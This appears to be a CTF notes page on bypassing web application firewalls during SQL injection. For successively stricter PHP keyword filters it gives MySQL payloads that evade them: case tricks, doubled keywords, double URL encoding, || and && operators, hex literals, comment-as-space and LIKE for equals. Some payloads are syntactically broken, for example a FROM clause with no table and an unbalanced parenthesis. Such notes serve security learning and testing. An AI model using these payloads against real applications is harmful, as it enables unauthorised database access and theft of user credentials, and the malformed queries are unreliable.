> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfnote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfnote/web/sql-injection-sqli/waf-bypass.md).

# WAF Bypass

## Uppercase and Lowercase

Suppose the WAF filters `union` using `str_replace()`:

```php
$sql = str_replace("union", "" , $sql);
```

This filter only filters lowercase `union`, so we can use things like `UNION` or `UNion`.

{% hint style="info" %}

* Keywords in MySQL are **case-insensitive**.
* Database names, table names are **case-sensitive**.
* Column names are **case-insensitive**. This is really weird.
  {% endhint %}

## Repeated String

Suppose the developer uses `$sql = str_replace("union", "" , $sql);` and uppercase/lowercase is properly handled. We can still bypass this filter using `unionunion`. Note that `str_replace()` only removes `union` once, so `unionunion` becomes `union`.

## Doulbe URL Encoding

If the WAF only calls `urldecode()` once, we can **URL encode our payload twice** to bypass the filter.

## and/or

Suppose the WAF filters `and` and `or`:

```php
preg_match('/(and|or)/i', $id)
```

The following payloads will be filtered:

```sql
1 or 1=1
1 and 1=1
```

We can bypass this filter using the following payload:

```sql
1 || 1=1
1 && 1=1
```

## union

Suppose the WAF filters `and`, `or`, and `union`:

```php
preg_match('/(and|or|union)/i', $id)
```

The following payloads will be filtered:

```sql
union select user,password from users
```

We can bypass this filter using the following payload:

```sql
|| (select user from users where user_id = 1) = 'admin'
```

The `||` symbol expands the scope of `select`, which has similar effect as `union select`.

## where

Suppose the WAF filters `and`, `or`, `union`, and `where`:

```php
preg_match('/(and|or|union|where)/i', $id)
```

The following payloads will be filtered:

```sql
|| (select user from users where user_id = 1) = 'admin'
```

We can bypass this filter using the following payload:

```sql
|| (select user from users limit 1,1) = 'admin'
```

Here `limit 1,1` has the same functionality as `where`. `limit 1,1` means start from index 1 and only select 1 entry.

## limit

Suppose the WAF filters `and`, `or`, `union`, `where` and `limit`:

```php
preg_match('/(and|or|union|where|limit)/i', $id)
```

The following payload will be filtered:

```sql
|| (select user from users limit 1,1) = 'admin'
```

We can bypass this filter using the following payload:

```sql
|| (select min(user) from group by user_id having user_id = 1) = 'admin'
```

## group by

Suppose the WAF filters `and`, `or`, `union`, `where`, `limit` and `group by`:

```php
preg_match('/(and|or|union|where|limit|group by)/i', $id)
```

The following payload will be filtered:

```sql
|| (select min(user) from group by user_id having user_id = 1) = 'admin'
```

We can bypass this filter using the following payload:

```sql
|| select substr((select group_concat(name)name from test), 1, 1) = 't')
```

## select and single quote

Suppose the WAF filters `and`, `or`, `union`, `where`, `limit`, `group by`, `select` and single quote:

```php
preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
```

The following payload will be filtered:

```sql
|| select substr((select group_concat(name)name from test), 1, 1) = 't')
```

We can bypass this filter using the following payload:

```sql
|| substr(name, 1, 1) = 0x74
|| substr(name, 1, 1) = unhex(74)
```

## hex, unhex and substr

Suppose the WAF filters `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, single quote, `hex`, `unhex`, and `substr`:

```php
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr)/i', $id)
```

The following payload will be filtered:

```sql
|| substr(name, 1, 1) = unhex(74)
```

We can bypass this filter using the following payload:

```sql
|| binary(name) = 0x74657374
```

## whitespace

Suppose the WAF filters `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, single quote, `hex`, `unhex`, `substr`, and space:

```php
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr|\s)/i', $id)
```

The following payload will be filtered:

```sql
|| binary(name) = 0x74657374
```

We can bypass this filter using the following payload:

```sql
||/**/binary(name)/**/=/**/0x74657374
```

Here `/**/` is an empty comment, which is equivalent to a whitespace.

## equal sign

Suppose the WAF filters `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, single quote, `hex`, `unhex`, `substr`, space, and `=`:

```php
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr|\s|=)/i', $id)
```

The following payload will be filtered:

```sql
||/**/binary(name)/**/=/**/0x74657374
```

We can bypass this filter using the following payload:

```sql
||/**/binary(name)/**/like/**/0x74657374
```

Here `like` matches more results than `=`, but we can use it just like `=` anyway.
